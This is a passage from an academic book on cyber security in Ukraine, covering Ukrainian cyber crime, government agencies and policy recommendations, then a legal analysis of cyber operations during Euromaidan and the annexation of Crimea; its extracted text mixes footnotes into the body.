successes, such as when numerous European countries and Europol (with the aid of the Ukrainian government) arrested five hackers who stole at least 2 million from banks all around the world.6 However, there are major countervailing factors at play in Ukraine, which include ongoing political, military, and economic crises and the absence of zhyvoii Victor Zhora, e-mail to the author, July 30, 2015. DDoS- Minfin, June 8, 2015.http://minfin.com. ua/2015/06/08/7407564/. Taylor Armerding. Ukraine Seen as a Growing haven for Hackers March 13, 2012. http://www.csoonline.com/article/2131155/network-security/ukraine-seen-as-a-growing--haven-for-hackers-.html. Charles Riley and Jose Pagliery. Target Will Pay Hack Victims $10 Million. CNNMoney. March 19, 2015. http://money.cnn. com/2015/03/19/technology/security/target-data-hack-settlement/. Lillian Ablon, Martin C. Libicki, and Andrea A. Golay. Markets for Cybercrime Tools and Stolen Data: Hackers Bazaar. Rand Corporation, 2014. Supra, note 4. potreby (urgent need),7 which together provide little hope that Ukraine will be able to climb down from its perch atop the world s cyber crime ladder in the near future. In many ways, Ukraine is a perfect case study to examine the vexing dynamics of cyber crime. Its government has few cyber security regulations, its society is home to talented computer programmers, and its economy is struggling. This chapter begins In many ways, Ukraine with a brief description of Ukraine s current is a perfect case study cyber crisis, to include the primary reasons to examine the vexing why cyber crime flourishes there. Next, it disdynamics of cyber crime. cusses the future of the region based on interviews with Ukrainian and Western cybersecurity experts from public and private sectors and academia. Finally, the chapter ends with recommendations based on best practices in cyber security all of which can help Kyiv to improve its cyber security posture. Beyond Ukraine, these insights can be applied to numerous other countries in the region. Ukraine as a Cyber Safe Haven Once the internet conquered post-Soviet daily life, many talented computer programmers who had already dabbled in illegal activities such as stealing music and movies realised that they could make a living as professional hackers. There were few cyber security regulations in Ukraine and so, as in so many other countries, cyber crime quickly evolved from a mischievous hobby to a lucrative occupation.8 Several factors contributed to making Ukraine a cyber safe haven. First, its Soviet school STEM (science, technology, engineering, and mathematics) education is among the best in the world. Second, its underwhelming economic performance since independence in 1991 has led these STEM specialists to explore alternative career paths, often online. Third, Ukraine s social and cultural norms dictate that stealing from the West is not always a bad thing. This factor is compounded by the relatively impersonal nature of cyberspace.9 At the policy level, cyber crimes such as stealing intellectual property and copyright infringement were not even considered illegal in Ukraine until recently. For instance, the popular Russian social media website vkontakte.ru used to be a source of large-scale music and movie piracy.10 Ukraine recently has begun to develop a common lexicon on cyber security (a pre-requisite for progress in this Vlad Styran, Skype interview, July 6, 2015. Supra, note 5. The author can testify through personal experience. Kathryn Dowling. VKontakte Case Puts Russian Music Piracy into Spotlight. August 11, 2014. http://www.bbc.com/news/ business-28739602. new domain),11 but the multiple cyber units within the Ukrainian government12 still tend to operate independently, and rarely collaborate.13 Moreover, as in other Eastern European countries, government employees are poorly paid and lack resources, which in turn motivates skilled specialists to leave for the private sector. Finally, due to the high level of corruption in Ukraine, even when a cyber criminal is caught, he or she can usually bribe an official to have the charges reduced or dropped.14 Ukraine as a Cyber Target Even though Ukraine is not a rich country and is relatively new to online banking, its enterprises nonetheless lost 65 million15 to cybercrime in 2014.16 The origin of these attacks is unclear, but numerous interviewees agreed that the cyber criminals were not physically located in Ukraine. Most likely, they would follow the hacker s first zapovid commandment ), the so-called gypsy rule: tam de zhyvesh, tam ne kradesh you do not steal in the place where you live ).17 When asked whether Russia could be a source of such attacks, Vlad Styran, an information security consultant at Berezha Security, answered affirmatively, but explained that some groups originally operating from Russia have moved to Ukraine, mostly to the self-proclaimed Donetsk National Republic (DNR) and the Luhansk National Republic (LNR).18 However, these groups may not be attacking Ukraine directly, but Western countries farther afield, similar to online criminals in Romania, Turkey, and Belarus.19 In Ukraine, the domestic climate, technical capabilities, and resources are better suited to criminals who engage in credit card fraud,20 and as long as they steal money in small amounts, no one will touch them.21 Cyber criminals physically based in Ukraine have also begun to look for more comfortable conditions in which to operate, as Ukrainian law enforcement agencies have begun to collaborate with Western agencies.22 Thus the number of cyber criminals in Ukraine may finally be declining.23 The conflict in eastern Ukraine has given rise to numerous high-level cyber attacks. As part of its military operations, Russia has used cyber warfare tactics against Ukrainian websites, some of which are physically hosted in Ukraine, while some are Oleksandr V. Potii, Oleksandr V. Korneyko, and Yurii I. Gorbenko. Cybersecurity in Ukraine: Problems and Perspectives. Information and Security: An International Journal 32 (2015): 2. More detailed description will be provided later Kostiantyn Kosrun, Skype Interview, July 6, 2015. Glib Pakharenko, Interview, June 29, 2015. Hryvnia Ukrainian unit of currency. As mentioned by Guzii who works at the MVD department that deals with card (credit and debit) fraud operations. Supra, note 14; supra, note 7. The interviewee referred to the fact that it became quite hard for hackers to operate in Russia without being under constant government control. Supra, note 7. Glib Pakharenko, e-mail to the author, July 5, 2015. Ibid. Ibid. Ibid. not.24 National Security Agency (NSA) Director Vice Admiral Michael Rogers stated that Russia conducted cyber operations to support its Crimea conquest.25 Independent researchers also discovered a cyber espionage operation called Armageddon that was designed to provide a military advantage to Russian leadership by targeting Ukrainian government and law enforcement agencies ,26 and included DDoS attacks against Ukrainian and NATO media outlets, and targeted attacks against Ukrainian election commission websites.27 In all, hackers hit Ukrainian government, business, online media, and e-commerce sites.28 Finally, it should be noted in this context that Ukraine s information and telecommunication networks generally use Russian hardware and software, a situation that would significantly help Russia to spy on its southern neighbour.29 Ukraine s Cyber Security Agenda While cyber crime has flourished in Ukraine, the same cannot be said for the development of Kyiv s cyber security policy, which is simply not currently a high priority. In Ukraine, only 41.8% of the population is now online, compared to 84.2% in the United States and 61.4% in Russia.30 Furthermore, the majority of Ukrainian internet While cyber crime has flourished in Ukraine, the connectivity lies in the country s major cities and very few electronic devices are used for same cannot be said for online financial transactions. the development of Kyiv Currently, there is little cyber security legislation in Ukraine. The more prominent laws cyber security policy. include On Information, On State Secrets, On Data Protection in Information and Telecommunication Systems, On the National Security of Ukraine, and On State Service for Special Communication and Information Protection of Ukraine. In 2012, Parliament began to propose amendments to these laws. Today, there is an increasing focus on cyber crime awareness, and the government is in the process of creating a new ministry devoted to information technology (IT). Sam Jones. Ukraine PM s Office Hit by Cyber Attack Linked to Russia. Financial Times, August 7, 2014. http://www.ft.com/ intl/cms/s/0/2352681e-1e55-11e4-9513-00144feabdc0.html. Bill Gertz. Inside the Ring: Cybercom s Michael Rogers Confirms Russia Conducted Cyberattacks against Ukraine. Washington Times, March 12, 2014. http://www.washingtontimes.com/news/2014/mar/12/inside-the-ring-cybercoms-michael-rogersconfirms-/?page=all. LookingGlass Cyber Threat Intelligence Group Links Russia to Cyber Espionage Campaign Targeting Ukrainian Government and Military Officials. Looking Glass, April 29, 2015. Tony Martin-Vegue. Are We Witnessing a Cyber War between Russia and Ukraine? Don t Blink You Might Miss It. CSO Online, April 24, 2015. http://www.csoonline.com/article/2913743/cyber-attacks-espionage/are-we-witnessing-a-cyber-warbetween-russia-and-ukraine-dont-blink-you-might-miss-it.html. Primarily with DDoS attacks from supra, note 11. For example, via Russia , or System for Operative Investigative Activities a technical system run by the Russian security services to search and surveil telephone and Internet communications. Supra, note 11, page 2; Andrei Soldatov, Skype interview, July 15, 2015. Online Panel Ukraine and Online Data Collection Ukraine | DataDiggers Online Data Collection. DataDiggers Online Data Collection. July 27, 2015. http://www.datadiggers.ro/?page_id=75217. Victor Zhora, CEO and Co-Founder at Infosafe IT LLC, contends that a major problem with existing Ukrainian legislation is the lack of a clear definition for cyber crime. The only operational definition is in Article 361 of the Criminal Codex of Ukraine: Illegal interference with the operation of computers (PCs), automated systems, computer networks or telecommunications networks .31 However, it is not clear what illegal interference actually means. Recently, lawmakers have considered new legislation the Cybersecurity Law of Ukraine which seeks to: update existing laws; create conditions for cooperation between the private and publics sectors; protect critical information infrastructure; develop a comprehensive legal framework; build a secure national security network; educate future specialists; fight cyber crime and cyber terrorism; strengthen the state s defence in cyberspace; prevent other states from interfering in Ukraine s internal affairs; neutralise attacks on Ukraine s information resources; and ensure Ukraine s full participation in European and regional cybersecurity organisations. 32 However, such a comprehensive agenda faces numerous acute challenges before it can be properly implemented.33 For example, the strategy of creating a secure national segment of cyberspace lacks a working definition of critical national infrastructure (CNI), as well as a valid list of CNI. At this stage in Ukraine s economic development, there is little CNI with internet-based management, but that number is beginning to rise.34 Another example is ensuring full participation of Ukraine in European and regional systems . Although Ukrainian cyber security experts already share information and intelligence with Western colleagues, this collaboration is not nearly as effective as it could For the foreseeable future, be, because the West does not yet respect [them] Ukrainian CNI will rely and do not share information with [them]. It is debatable, given the ongoing war in on reasonably sound prieastern Ukraine, how urgent this process is, vate sector approaches. especially given that all countries are currently struggling to protect CNI. Even if adopted, the draft Cybersecurity Law of Ukraine will take years to fully implement.36 Therefore, for the foreseeable future, Ukrainian CNI such as telecoms,37 banks,38 and insurance companies39 will rely on reasonably sound private sector approaches to their cyber security challenges.40 ; supra, note 1. Supra, note 11, figure 1-1. Some of those challenges were mentioned earlier. Ukraine s CNI objects are not controlled via the Internet, as mentioned in the skype interview with Vlad Styran on July 6, 2015 (Supra, note 7). Supra, note 14. Its implementation has three stages: 1) 2014-2016; 2) 2016-2017; and 3) 2017 the following years. Telecom operators are mostly protected as a huge portion of the population uses these services. They do no necessarily suffer from cyber attacks but they suffer from their clients abuse of the system. From supra, note 7. Banks are in second place in terms of protection and in first place in terms of damage.. It is quite a new trend in Ukraine as banks mostly operate using their clients money. Last year, we witnessed the first cyber attacks on Ukrainian banks. From supra, note 7. Insurance companies take the third place on the level of protection. They are active in protecting their companies from cyber attacks not because they are subjects to those attacks, but mostly because they are part of some international group, which requires them to follow the EU or U.S. requirements or because they need to create their image. Supra, note 7. Ibid. Council of National Security and Defence The Ministry of Defense of Ukraine Ministry of Internal Affairs of Ukraine The President of Ukraine Verkovna Rada of Ukraine Security Service of Ukraine SSSCIP of Ukraine Intelligence Agencies Figure 1 Organisation of the cyber security system of Ukraine Cybersecurity Organisations Figure 1 1 depicts Ukraine s governmental organisations that deal with cyber crime: the Security Service of Ukraine (SBU); the State Service of Special Communication and Information Protection of Ukraine (SSSCIP); the Ministry of International Affairs of Ukraine (MVS) with its Department on Combating Cybercrimes; the Ministry of Defence of Ukraine (MO) with its Electronic Warfare Troops; the Defence Intelligence Service; and the Foreign Intelligence Service.41 These agencies, of course, have different domains and priorities, and they rarely collaborate on common problems.42 For example, MVD cyber units have a difficult time working with the SBU, which does not focus on external affairs, a crucial element in locating international hackers.43 Glib Pakharenko, the ISACA Kyiv Chapter membership director, said: When NATO meets with various cyber forces in Ukraine, they only observe how these forces fight with each other and blame each other for failures SSSCIP is the only organisation that works exclusively on cyber security issues. Its main activities include: interaction with the administration domain UA.; protection of state information resources; interaction with state authorities; international cooperation in the protection of information resources; unified antivirus protection system; and determining the level of protection of information and telecommunication authorities systems. 45 SSSCIP has numerous internal offices, including the Centre for Antivirus Information Protection (CAIP),46 the Assessment of Protection of State Information Resources, the Cybernetic Protection System, and the Registry Supra, note 11. Supra, note 7. Ibid. Supra, note 7. Supra, note 39. Supra, note 11. of Information and Telecommunication Authorities Systems. Its Computer Emergency Response Team of Ukraine (CERT-UA) handles international cooperation. Each agency faces its own unique challenges and suffers from its own, unique criticism. For example, one interviewee said of CERT-UA: [its specialists] just visit Europe and tell [the Europeans] how amazing they are. They [only] do PR and make contacts in Ukraine and abroad. 47 Others, however, disagreed, arguing that in 2013 CERT-UA processed 232 incident reports from foreign CERTs48 and was quite effective CERT-UA s bigger probdespite significantly limited powers , a lack lem is the country of qualified specialists, insufficient resources, almost exclusive focus on and a low level of outside trust.49 Two interviewees, Kostiantyn Korsun of Berezha Secufighting Russian aggresrity and Glib Pakharenko of ISACA Kyiv, sion in eastern Ukraine. added that CERT-UA s bigger problem is the country s almost exclusive current focus on fighting Russian aggression in eastern Ukraine.50 At the MVD, Vasyl Guzii, a specialist in kartkove shakhraistvo (credit card fraud operations), asserted that no sdelka iz pravosudiiem deal with law enforcement agencies in Russian) exists in Ukraine.51 However, Styran was not so sure, suggesting that verbyvannia recruitment ) was common.52 In effect, this means that instead of arresting hackers, law enforcement agencies simply offer krysha (protection)53 in exchange for future favours.54 The overall level of corruption in Ukraine is high, even at the SBU.55 Despite everything, there is progress to report. Beyond the new draft law on cyber security and the proposed new IT ministry56 Ukraine is setting up an Interagency Board57 to counter strategic cyber threats (see Figure 1 2). This initiative will of course take time to blossom, and there are already doubts about technical talent, bureaucratic implementation, and overall SBU power in this new initiative.58 So, for the time being, it is likely that the Ukrainian government will continue to rely on an approach favoured in the United Kingdom: pereklastu or delegating many cyber crime-related tasks, including client protection, to the private sector.59 Supra, note 7. Supra note, 11. Supra, note 1. However, Korsun pointed out that nearly all countries especially in Eastern Europe face the same challenges of low salaries and poor skillsets. He added that the SBU, in this regard, is not so different to CERT-UA. Supra, note 13. Vlad Styran. Securit13 Podcast : 30: Let the Magic Begin. March 20, 2015. http://securit13.libsyn.com/-30-let-themagic-begin. Supra, note 7. Roofing means that the law enforcement agencies do not pay attention to criminal s misbehavior in exchange for favors. Supra, note 14. Ibid. ha Karpenko. IT. AIN, June 18, 2015. http://ain.ua/2015/06/18/586897. Supra, note 11. , June 25, 2015. http://biz.liga.net/all/it/stati/3046442-deputaty-doshli-do-interneta-est-zakonoproekt-o-kibeprostranstve.htm. Supra, note 7. Verkhovna Rada of Ukraine Council of National Security and Defense The President of Ukraine Security Service of Ukraine The Prime Minister of Ukraine Interagency Board on countering cyber threats SSSCIP of Ukraine Ministry of Internal Affairs of Ukraine The Ministry of Defense of Ukraine The General Staff of the Armed Forces of Ukraine State Agency of Cybersecurity Figure 1 Proposed organisation of Ukraine s system for cyber security Recommendations The following best practices could significantly strengthen Ukraine s cyber security posture for the future. 6.1 National Metrics. Analysts believe that cyber crime is rife in Ukraine, but there are no accurate measurements or reliable studies that have documented this problem. Some Western60 and Ukrainian companies61 are now addressing this issue, but without better data and analysis, it is hard to separate fact from fiction. Prevention. Until Ukraine invests more in proactive cyber defence, it will remain in a reactive mode vis- -vis cyber criminals, a serious problem in the age of light-speed communications. Such as RAND. Supra, note 14. Corruption. Ukraine must address bribes, protection,62 and the unethical recruitment of hackers. In one infamous case, a fraudulent cyber crime call centre , which in fact was used to steal credit card information, actually operated from a Ukrainian prison.63 Culture. Ukraine must promote cyber crime awareness and enforce existing law. Ukrainian citizens must recognise that stealing money from the West is against the law, and they must be willing to report such crimes to law enforcement.64 Education. Kyiv must invest in the academic side of cyber security, to include software engineering, critical infrastructure protection, and more.65 Some steps have already been taken, including the creation of kiberpolitseiski (cyber police) departments at the Kyiv and Kharkiv MVD Institutes;66 further, the MVD has collaborated with various departments of the Kyiv Polytechnic Institute (KPI). The Science Park of the KPI promotes science-intensive products on domestic and foreign markets that provide better cybersecurity solutions. 67,68 Civil Society. The Ukrainian Government requires pressure from below to assist in the implementation of so many needed changes. Even from abroad, the Ukrainian diaspora can help. Oversight. Ukrainian lawmakers often receive foreign assistance to help the country adopt and implement reform, but currently there is no effective oversight body helping to manage this process.69 Public sector labour force. The Ukrainian government must find a way to hire qualified cyber security professionals and retain them with quality training and attractive salaries. It must be said that this challenge is not unique to Ukraine.70 6.2 Regional and International Collaboration. Ukrainian cyber security institutions must develop a higher level of trust with their international counterparts, especially in the West. This begins with practical cooperation on current high-interest criminal cases, to include resource and information sharing. In the past, such collaboration has not always been effective, and sometimes never occurred at all.71 Points of departure include Mutual Legal Assis62 Ibid. Supra, note 7. These two measures will be discussed later. So far, eighteen universities carry out training specialists in information security on bachelor s and master s levels in Ukraine. From: Standards of higher education 1701 Information Security, accessed on July 21, 2015, http://iszzi.kpi.ua/index.php/ua/ biblioteka/normativno-pravova-baza/nmk-informatsijna-bezpeka.html . Supra, note 50. Ibid. Science Park Kyivska Polytechnika Accessed September 1, 2015. Supra, note 7. Supra, note 14. Ibid. tance Treaties (MLAT) and the European Convention on Cybercrime which Ukraine ratified in 2005. Western Assistance. Most of the digital equipment in Ukraine was manufactured in Russia, so there is an urgent need for EU and NATO nations to assist Ukraine in replacing it. Some concrete steps have already been taken: NATO has allocated funds for Ukraine cyber defences, command and control structures, and logistics capabilities Microsoft announced a partnership with the Ukrainian Government on cyber security;73 U.S. Senators Mark Kirk and Mark Warner announced a bipartisan amendment creating a law enforcement partnership between the United States and Ukraine to combat cybercrime and improve cybersecurity ;74 and Romania launched an initiative to support the Ukraine Cyber Defence Trust Fund.75 Cyber security strategy. Ukraine must harmonise its cyber security policies and legislation with those of the most technologically advanced members of the international community. The European Network and Information Security Agency (ENISA) has a strong record of providing guidance in cyber security policy development and best practices; Ukraine should take full advantage of this resource. Conclusion Ukraine, with its talented hackers and minimal cyber security regulations, is a perfect case study to examine the many challenges that Eastern European countries face as they seek to improve their cyber security posture. Ukraine has more than enough Ukraine has more than expertise, but it must be refocused and enough STEM expertise, STEM repurposed toward a more transparent and but it must be refocused accountable legal and cultural online environment. The development of Ukrainian civil and repurposed. society can accomplish all of these objectives, but the international community including the Ukrainian diaspora can help Kyiv to realise them much more quickly. Unfortunately, however, Ukraine s current political, economic, and military crises are likely to prevent it from climbing down the world s cyber crime ladder in the near term. Andrew Rettman. Mr. Putin Isn t Done in East Ukraine. EUObserver, June 26, 2015. https://euobserver.com/defence/129317. Ukrainian Government Partners with Microsoft on Cyber Security. Ukrainian Digital News, April 7, 2015. http://uadn. net/2015/04/07/ukrainian-government-partners-with-microsoft-on-cyber-security/. Kirk, Warner to Introduce Cybersecurity Amendment to Ukrainian Aid Bill on Monday. Kirk Senate. March 23, 2014. http:// www.kirk.senate.gov/?p=press_release&id=1033. Romania Turns Hacking Crisis into Advantage, Helping Ukraine Fight Russian Cyber Espionage. Azerbaijan State News Agency, May 18, 2015. http://azertag.az/en/xeber/Romania_turns_hacking_crisis_into_advantage_helping_Ukraine_fight_Russian_cyber_espionage-855844. Chapter 14 A Legal Framework for Cyber Operations in Ukraine Jan Stinissen NATO CCD COE Introduction Do the cyber attacks that we have seen during the Ukraine conflict constitute cyberwar? This chapter considers this question from a legal perspective. The term cyberwar has no precise legal meaning. Even the term is less important than it used to be. Contemporary international law distinguishes armed conflict armed attack and use of force , but the question is how to place cyber conflict into that framework. In Ukraine, are we seeing cyber armed conflict or merely cyber crime? Cyber operations have to be considered within the context of the whole conflict. Although cyber can be used as stand-alone operation, the more likely case and this holds true in Ukraine is that cyber is used as a facilitator for other, more traditional types of warfare. The law applicable to the conflict as a whole should be applied to the cyber activities that are part of it. In other words, the wider context determines the legal framework for cyber operations. Particularly relevant is whether the conflict in Ukraine is an armed conflict that leads to the application of the Law of Armed Conflict (or international humanitarian law). This chapter will first briefly outline the applicability of international law to cyberspace. Then it will describe the legal framework of the conflict, related to the subsequent phases of the conflict, from the protests at Maidan Square in November 2013 to the present day. After that, the associated cyber activities will be placed in this legal context. International Law and Cyber Operations The applicability of international law to cyberspace has long been debated. Most Western countries posit that existing international law applies. Some countries, such as China and Russia, have proposed a unique and separate set of norms.1 Today, it is generally recognised that international law applies, which is illustrated by the 2013 report of the Governmental Group of Experts, established by the United Nations (UN) General Assembly. It states that International law, and in particular the Charter of the United Nations, is applicable and is essential to maintaining peace and stability and promoting an open, secure, peaceful and accessible ICT environment. 2 However, the better question now concerns exactly how to apply international law in the cyber domain, and this is not a debate that will be resolved in the near future.3 NATO recognises that international law, including international humanitarian law and the UN Charter, applies in cyberspace .4 It also considers cyber defence to be an intrinsic part of its collective defence task, and has declared that a cyber attack could have the impact as harmful as a conventional armed attack, which could lead to the invocation of Article 5 of the North Atlantic Treaty.5 In this chapter, the author takes as a premise that existing international law applies to cyberspace. Legal Framework for the Conflict in Ukraine Cyber activities conducted as part of a wider conflict are governed by that conflict s legal framework. Cyber activities conducted as part of a wider conflict are governed by that conflict s legal framework. This section will describe the wider conflict in Ukraine. Section 1.4 will examine specific cyber incidents and how they fit into the larger legal puzzle. United Nations, General Assembly, Letter Dated 9 January 2015 from the Permanent Representatives of China, Kazakhstan, Kyrgyzstan, the Russian Federation, Tajikistan and Uzbekistan to the United Nations Addressed to the Secretary-General, A/69/723, 2015. An earlier version was submitted in September 2011. United Nations, General Assembly, Report of the Group of Governmental Experts (GGE) on Developments in the Field of Information and Telecommunications in the Context of International Security, A/68/98, 24 June 2013. The Group consisted of representatives of 15 nations, including the United States, Russia, and China. In their Report of July 2015, the GGE recommended a set of norms of behavior of states in cyberspace. For an analysis of this report, see Henry R igas and Tom Min rik. 2015 UN GGE Report: Major Players Recommending Norms of Behaviour, Highlighting Aspects of International Law , INCYDER database , NATO CCD COE, 31 August 2015, https://ccdcoe.org/2015-un-gge-report-major-players-recommending-norms-behaviour-highlighting-aspects-international-l-0.html. One of the prominent publications in this field is the Tallinn Manual. It discusses applicability of international law to cyber warfare, in particular the legal framework for the use of force and the law of armed conflict. The Tallinn Manual is prepared by an international group of experts on the invitation by the NATO Cooperative Cyber Defence Centre of Excellence, Tallinn, Estonia: Michael N. Schmitt, gen. ed., Tallinn Manual on International Law Applicable to Cyber Warfare (Cambridge: Cambridge University Press, 2013). Currently the Manual is under revision, a project coined Tallinn 2.0, including an analysis of international law applicable to cyber operations below the threshold of armed attack. Wales Summit Declaration, 5 September 2014, para 72. NATO s fundamental principle which states that if a NATO Ally is the victim of an armed attack, each and every other member of the Alliance will consider this act of violence as an armed attack against all members and will take the actions it deems necessary to assist the Ally attacked, What is Article 5? , NATO, last updated 18 February 2005, http://www.nato.int/terrorism/ five.htm. 3.1 Euromaidan (November 2013 February 2014) A few weeks before the European Union (EU) Eastern Partnership Summit in Vilnius, Lithuania, on 27-28 November 2013, during which the Ukraine EU Association Agreement was to be signed, tensions in Ukraine were rising between those in favour and those opposed to closer relations with the EU. On 21 November, President Viktor Yanukovych decided to abandon the Association Agreement. This was followed by massive pro-EU demonstrations in Maidan Nezalezhnosti (Independence Square) in Kyiv. The clashes with the authorities grew violent. By mid-February, the events had escalated significantly, and had taken over 100 lives. Before the Euromaidan protests began, tensions in Ukraine had already triggered hostile activity in cyberspace. Politically motivated hacker groups launched Distributed Denial-of-Service (DDoS) and other cyber attacks against a wide range of targets. On 28 October, the hacker group Anonymous Ukraine started Operation Independence (#OpIndependence), favouring Ukraine s independence from any external influence, including the EU, NATO, and Russia.6 Operation Independence included DDoS attacks and website defacements against both Western and Russian sites. During Euromaidan DDoS attacks and defacements against both sides continued. Information leaks were used for propaganda purposes. Operation Independence leaked emails from opposition leader Vitali Klitchko and his political party, the Ukrainian Democratic Alliance for Reforms. Unknown hackers leaked the U.S. officials phone call which included the infamous statement, f*ck the EU. 3.1.1 Legal Analysis The Euromaidan protests were the violent culmination of a conflict between government authorities and pro-Western, civilian groups. Although the controversy was about Ukraine s external relations, it was primarily an internal matter between a state and an opposition within that state. And while the conflict engendered considerable violence one only has to look at the number of casualties at that stage, it could not be seen as an armed conflict . It was not a conflict with armed forces on either side engaged in hostilities [...] similar to an international war .8 The incidents had the character of internal disturbances, civilian uprising, and violent clashes between protesters and police. 3.2 Forming Interim Government and Annexation of Crimea (February March 2014) On 21 February, President Yanukovych fled to Russia, and an Interim Government was formed, uniting the opposition. Events unfolded rapidly in Crimea. Pro-Russian gunmen seized key government buildings. On 1 March, the upper house of the Russian Parliament approved the deployment of troops in Ukraine to protect the Eduard Kovacs. Anonymous Ukraine Launches OpIndependence, Attacks European Investment Bank , Softpedia, 31 October 2013, http://news.softpedia.com/news/Anonymous-Ukraine-Launches-OpIndependence-Attacks-European-Investment-Bank-395790.shtml. Listen to recording here: https://www.youtube.com/watch?v=CL_GShyGv3o. ICRC Commentary to Common Article 3 of the 1949 Geneva Conventions. Russian speaking minority. Russian military forces (coined little green men ) were reportedly present in Crimea and blocked the positions of Ukrainian troops.9 A referendum, initiated by the Crimean Parliament, was held in Crimea on 16 March, which declared that 97% of voters supported joining Russia. Two days later, President Vladimir Putin signed a bill declaring Crimea to be part of the Russian Federation.10 These events were crucial in setting the stage for the ongoing conflict in eastern Ukraine, and led to a dramatic change in relations between Russia and the West. In cyberspace, there was a simultaneous rise in malicious activity during the military operations in Crimea. Operations were conducted against Ukraine s mobile infrastructure, the mobile phones of members of the Ukrainian Parliament, and security communications. Some traditional methods were used, including the seizure of Ukrtelecom offices and the physical cutting of telephone and internet cables.11 Digital attacks included DDoS targeting Ukrainian, Crimean, NATO, and Russian websites. The pro-Russian hacker group CyberBerkut was particularly active against NATO,12 while groups like OpRussia and Russian CyberCommand directed their actions against Russian websites.13 Polish, Ukrainian, and Russian websites were also defaced, including the site of Russia Today, sometimes with historical references to World War II.14 Information leaks continued. A sensitive conversation between the Estonian Minister of Foreign Affairs Urmas Paet and EU High Representative for Foreign Affairs and Security Policy Catherine Ashton was made public, revealing their discussion of information suggesting that both sides, the opposition and the government, were responsible for sniper killings during the Maidan protests.15 Anti-Russian motivated information leaks included the disclosure of the names of members of Berkut, the anti-riot police,16 as well as documents belonging to a Russian defence contractor.17 During this time, it also became clear that the spyware Snake (also known as Ouruborus or Turla) was used against several targets in Ukraine, including the government. Snake is sophisticated malware, known to be in use for at least eight years, whose origin is uncertain, but believed to be developed in Russia.18 Vitaly Shevchenko. Little green men or Russian invaders , BBC News, 11 March 2014, http://www.bbc.com/news/ world-europe-26532154. See for an overview of events: Ukraine crisis: timeline , BBC News, http://www.bbc.com/news/world-middle-east-26248275. John Leyden. Battle apparently under way in Russia-Ukraine conflict , The Register, 4 March 2014, http://www.theregister. co.uk/2014/03/04/ukraine_cyber_conflict/. Adrian Croft and Peter Apps. NATO websites hit in cyber attack linked to Crimea tension , Reuters, 16 March 2014, http:// www.reuters.com/article/2014/03/16/us-ukraine-nato-idUSBREA2E0T320140316. Jeffrey Carr. Rival hackers fighting proxy war over Crimea , Reuters, 25 March 2014, http://edition.cnn.com/2014/03/25/opinion/crimea-cyber-war/. Contrary to what its name suggests, Russian CyberCommand is a hacker group acting against Russian authorities. Darlene Storm. Political hackers attack Russia, Nazi defacement, threaten US CENTCOM with cyberattack , Computerworld, 3 March 2014, http://www.computerworld.com/article/2476002/cybercrime-hacking/political-hackers-attack-russia--nazidefacement--threaten-us-centcom-with-cybera.html. Ewen MacAskill. Ukraine crisis: bugged call reveals conspiracy theory about Kiev snipers , The Guardian, 5 March 2014, http:// www.theguardian.com/world/2014/mar/05/ukraine-bugged-call-catherine-ashton-urmas-paet. Jeremy Bender. EXPERT: The Ukraine-Russia Cyberwar Is More Serious And Damaging Than The Annexation Of Crimea Business Insider, 10 March 2014, http://www.businessinsider.com/ukraine-russia-cyberwar-extremely-serious-2014-3. Bindiya Thomas. Rosoboronexport Denies Loss of Confidential Data in Cyber Attack , Defense World.net, 25 March 2014, http://www.defenseworld.net/news/10275/Rosoboronexport_Denies_Loss_of_Confidential_Data_in_Cyber_Attack#. VbzA8fmMCXQ. Sam Jones. Cyber Snake plagues Ukraine networks , Financial Times, 7 March 2014, http://www.ft.com/cms/s/0/615c29baa614-11e3-8a2a-00144feab7de.html#axzz3gDUpc1wz. 3.2.1 Legal Analysis Although the UN and EU expressed their grave concerns about Russia s annexation of Crimea, and NATO called it a violation of international law,19 Russia defended its actions as the lawful protection of the Russian speaking minority in Crimea. States have the right to act when necessary to rescue their nationals abroad. However, in this case, there were no indications that native Russians were in danger. Even if that were the case, it could only have justified their evacuation, not the occupation of the entire peninsula.20 A second possible justification for Russian intervention was an invitation by the Ukrainian authorities, i.e. President Yanukovych. But, after Yanukovych was replaced by the Interim Government, his actions could not be attributed to Ukraine anymore.21 A third possible justification is the right to self-determination for the people of Crimea. However, while this right exists for peoples within the existing borders of a state, it does not allow for a complete political separation.22 Russia s annexation of Crimea was a breach of international law by violating the territorial integrity of Ukraine. Russia also breached the 1994 Budapest Memorandum and Russia s annexation of the 1997 Treaty on Friendship, Cooperation, Crimea was a breach of and Partnership.23 The Black Sea Fleet Status of international law. Forces Agreement allowed for a Russian military presence in Crimea, but not at the scale as was the case in March 2014. But was this armed intervention also a use of force, a violation of Article 2(4) of the UN Charter?24 Moving armed forces to the territory of another state, without the consent of that state, should definitely be considered a use of force.25 That is exactly what happened: troops belonging to the Russian Black Sea Fleet in Crimea left their bases, and there were clear indications that other Russian [A] spokesman for UN Secretary-General Ban Ki-moon delivered a statement saying that he was gravely concerned about the deterioration of the situation in Ukraine and planned to speak shortly with Putin. It also called for full respect for and preservation of the independence, sovereignty and territorial integrity of Ukraine and demanded immediate restoration of calm and direct dialogue between all concerned . Representative of the Union for Foreign Affairs and Security Policy Catherine Ashton stated that the EU deplores what it called Russia s decision to use military action in Ukraine, describing it as an unwarranted escalation of tensions . She called on all sides to decrease the tensions immediately through dialogue, in full respect of Ukrainian and international law . She added that: The unity, sovereignty and territorial integrity of Ukraine must be respected at all times and by all sides. Any violation of these principles is unacceptable . North Atlantic Council condemned what it called Russia s military escalation in Crimea and called it a breach of international law . International reactions to the annexation of Crimea by the Russian Federation, Wikipedia, accessed 1 August 2015, https://en.wikipedia.org/wiki/International_reactions_to_the_annexation_of_Crimea_by_the_Russian_Federation. See also: Marc Weller, in BBC News, Analysis: Why Russia s Crimea move fails legal test , BBC News, 7 March 2014, http://www. bbc.com/news/world-europe-26481423. See also: Christian Marxsen, The Crimea Crisis An International Law Perspective, Zeitschrift f r ausl ndisches ffentliches Recht und V lkerrecht (Heidelberg Journal of International Law) 74/2 (2014): 367-391; Remy Jorritsma. Ukraine Insta-Symposium: Certain (Para-)Military Activities in the Crimea: Legal Consequences for the Application of International Humanitarian , Opinio Juris, 9 March 2014, http://opiniojuris.org/2014/03/09/ukraine-insta-symposium-certain-para-military-activities-crimea-legal-consequences-application-international-humanitarian-law/; Ashley Deeks. Here s What International Law Says About Russia s Intervention in Ukraine , New Republic, 2 March 2014, http://www.newrepublic.com/article/116819/international-law-russias-ukraine-intervention. Marxsen. Crimea Crisis, 14; Jorritsma. Legal Consequences. The 1994 Budapest memorandum was intended to provide Ukraine security in exchange of accession to the Treaty on the Non-Proliferation of Nuclear Weapons. Russia, the United States, and the United Kingdom committed to respect the independence and 